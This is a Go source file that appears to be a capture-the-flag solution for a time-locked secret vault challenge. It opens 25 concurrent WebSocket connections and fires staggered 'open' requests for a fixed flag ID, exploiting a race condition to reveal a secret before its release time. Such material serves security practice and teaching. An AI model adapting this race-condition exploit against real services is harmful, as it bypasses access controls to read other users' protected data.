master
Raw Download raw file
  1package main
  2
  3import (
  4	"encoding/json"
  5	"fmt"
  6	"log"
  7	"net/http"
  8	"sync"
  9	"time"
 10
 11	"github.com/gorilla/websocket"
 12)
 13
 14const (
 15	host = "localhost:3000"
 16	//wsURL = "wss://ee3e5cff-e66a-4bcf-8d31-61dff8e041a8.sundownvault.chal.pwni.ng/api/ws"
 17	wsURL   = "ws://" + host + "/api/ws"
 18	httpURL = "http://" + host
 19	flagID  = "13371337-1337-1337-1337-133713371337"
 20)
 21
 22type Message struct {
 23	Command string `json:"command,omitempty"`
 24	ID      string `json:"id,omitempty"`
 25
 26	Kind      string `json:"kind,omitempty"`
 27	Name      string `json:"name,omitempty"`
 28	Secret    string `json:"secret,omitempty"`
 29	Error     string `json:"error,omitempty"`
 30	RevealAt  string `json:"reveal_at,omitempty"`
 31	Remaining string `json:"remaining,omitempty"`
 32}
 33
 34func main() {
 35
 36	client := &http.Client{}
 37	var cookie *http.Cookie
 38
 39	username, err := registerUser(client)
 40	if err != nil {
 41		log.Fatalf("failed registration: %v", err)
 42	}
 43
 44	cookie, err = loginUser(client, username)
 45	if err != nil {
 46		log.Fatalf("failed login: %v", err)
 47	}
 48
 49	var wg sync.WaitGroup
 50	//secretDuration := 16050 * time.Microsecond
 51	secretDuration := 2 * time.Second
 52	revealAt := time.Now().Add(secretDuration)
 53	myID, revealAt, err := createSecret(client, cookie, revealAt)
 54	if err != nil {
 55		log.Fatalf("failed to create secret: %v", err)
 56	}
 57	//fmt.Printf("[%s]\t💾 Created: %s\n", time.Since(revealAt), myID)
 58
 59	for paces := range time.Duration(25) {
 60		wg.Add(1)
 61		go draw(&wg, myID, revealAt, paces*time.Millisecond)
 62	}
 63	wg.Wait()
 64}
 65
 66func draw(
 67	wg *sync.WaitGroup,
 68	id string,
 69	revealAt time.Time,
 70	paces time.Duration,
 71) {
 72	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
 73	if err != nil {
 74		log.Fatalf("failed ws connect: %v\n", err)
 75	}
 76
 77	time.Sleep(time.Until(revealAt) - (100 * time.Millisecond))
 78	myFlag := Message{Command: "open", ID: id}
 79	if err := conn.WriteJSON(myFlag); err != nil {
 80		log.Fatalf("Failed to send message: %v\n", err)
 81	}
 82
 83	//var drawWG sync.WaitGroup
 84	//drawWG.Add(1)
 85	//go func() {
 86	//	flag := Message{Command: "open", ID: flagID}
 87	//	time.Sleep(time.Until(revealAt) - 10*time.Millisecond)
 88	//	if err := conn.WriteJSON(flag); err != nil {
 89	//		log.Fatalf("Failed to send message: %v\n", err)
 90	//	}
 91	//	drawWG.Done()
 92	//}()
 93	//fmt.Printf("[%s]\t🔫 DRAW!\n", time.Now())
 94
 95	first := true
 96	updateCount := 0
 97	update := false
 98	for {
 99		_, data, err := conn.ReadMessage()
100		if err != nil {
101			log.Printf("Read error: %v\n", err)
102			return
103		}
104		var parsed Message
105		if err := json.Unmarshal(data, &parsed); err != nil {
106			log.Printf("Failed to parse: %v\n", err)
107			continue
108		}
109		fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
110
111		if parsed.Kind == "Watch" {
112			if first {
113				first = false
114				continue
115			}
116			fmt.Printf("[%s]\t☠️  DEAD! \n", time.Now())
117			break
118		}
119		if parsed.Kind == "Update" {
120			//fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
121			flag := Message{Command: "open", ID: flagID}
122			time.Sleep(paces)
123			if err := conn.WriteJSON(flag); err != nil {
124				log.Fatalf("Failed to send message: %v\n", err)
125			}
126			fmt.Printf("[%s]\t📩 SENT\n", time.Now())
127			updateCount = updateCount + 1
128			update = true
129		}
130		if parsed.Kind == "Reveal" {
131			if !update {
132				fmt.Print("DSF")
133				break
134			}
135			//fmt.Printf("[%s]\t📩 Raw: %s\n", time.Now(), string(data))
136			if parsed.Name == "Flag" {
137				fmt.Printf("🎉 SECRET REVEALED: %s\n", parsed.Secret)
138				return
139			}
140			//fmt.Printf("💨 MISS! d:%s\n", paces)
141			continue
142		}
143	}
144	//drawWG.Wait()
145	conn.Close()
146	wg.Done()
147}